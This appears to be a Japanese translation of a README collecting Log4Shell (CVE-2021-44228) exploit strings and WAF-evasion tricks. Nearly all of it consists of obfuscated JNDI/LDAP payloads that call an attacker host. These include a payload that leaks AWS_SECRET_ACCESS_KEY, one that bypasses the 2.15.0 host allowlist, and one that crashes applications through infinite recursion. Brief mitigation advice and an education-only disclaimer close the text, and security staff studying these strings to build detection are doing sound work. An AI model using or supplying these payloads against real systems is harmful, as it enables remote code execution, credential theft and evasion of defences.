
🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Javaエクスプロイト - WAFバイパス手法
CVE-2021-44228 は以下で動作します:
log4j: 2.0 <= Apache log4j <= 2.14.1
すでにパッチが適用された Java バージョン: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender は、jndi:ldap:... を含む .java ファイルを削除し始めました。
単純な攻撃者スクリプト(RCE の可能性あり):
${jndi:ldap://somesitehackerofhell.com/z}
WAF または開発者は、以下のフレーズをブロックし始めました:
アプリケーションを保護するため。
しかし、攻撃者は以下のテクニックのいずれかを使用してバイパスできます:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Apache Log4j 2 ドキュメントより: ${env:ENV_NAME:-default_value}
ENV_NAME システム環境変数が存在しない場合、:- の後のテキストを使用します。
攻撃者は ENV_NAME の代わりに任意の名前を使用できますが、存在しない名前である必要があります。
または、ハッカーは環境変数を読み取ることもできます。例: AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
その他のシークレットについては、🦄🔒 環境変数内のシークレットの素晴らしいリスト 🖥️ をご覧ください。
システム環境変数を確認できます:
dir env: を実行printenv または env を実行${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup LowerLookup は、渡された引数を小文字に変換します。値はネストされたルックアップの結果であると推測されます。
${lower:<text>}
Upper Lookup UpperLookup は、渡された引数を大文字に変換します。値はネストされたルックアップの結果であると推測されます。
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı は i に変換されます
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
SYS_NAME システムプロパティが存在しない場合、:- の後のテキストを使用します
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java の日付書式設定は YYYY を 2021 に変換しますが、'YYYY' は YYYY に、'j' は j に変換します。
文字を次のように置き換えます:
詳細はこちら HTML URL エンコーディングリファレンス
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
ルックアップの存在を確認せず、デフォルトをそのまま使用します。
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"これらのキーと値は個別には攻撃を表しません。しかし、それらすべてを組み合わせると攻撃となり、この攻撃は JSON パーサーのために検出システムに対して透過的です。" 続きを読む...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
一部の文字を unicode に変換します。
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Log4J 2.15.0 の allowedLdapHost および allowedClasses チェックをバイパスします。java.net.URI の getHost() メソッドは、# の前の値を実際のホストとして返します。しかし、JNDI/LDAP リゾルバーは完全なホスト名文字列に解決し、悪意のある LDAP サーバーへの接続を試みます。
${${::-${::-$${::-j}}}}
何らかの理由で次の文字列に対して文字列置換が試みられると、無限再帰が発生し、アプリケーションが クラッシュ します。
特別な PDF ファイルを作成して CVE-2021-44228 を悪用します。

エントリをテストするには、以下を使用できます:
tl;dr log4j-2.17.1 以降に更新してください。
Log4j 1.x の緩和策: Log4j 1.x には Lookups がないため、リスクは低くなります。Log4j 1.x を使用するアプリケーションは、構成で JNDI を使用する場合にのみこの攻撃に対して脆弱です。この脆弱性については別途 CVE(CVE-2021-4104)が発行されています。緩和策としては、ロギング構成に JMSAppender が構成されていないことを確認してください。JMSAppender のない Log4j 1.x 構成は、この脆弱性の影響を受けません。
Log4j 2.x の緩和策: 以下の緩和技術のいずれかを実装してください。
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class および ${ctx:loginId} や $${ctx:loginId} のようなコンテキストルックアップへの参照を、HTTP ヘッダーやユーザー入力などアプリケーション外部のソースから発信される場合に削除します。影響を受けるのは log4j-core JAR ファイルのみです。log4j-api JAR ファイルのみを使用し、log4j-core JAR ファイルを使用しないアプリケーションは、この脆弱性の影響を受けません。

このプロジェクトは教育目的でのみ使用できます。事前の許可なく対象システムに対してこのソフトウェアを使用することは違法であり、このソフトウェアの誤用による損害について作者は責任を負いません。
私は CVE-2021-44228 および一部のバイパスの作者ではありません。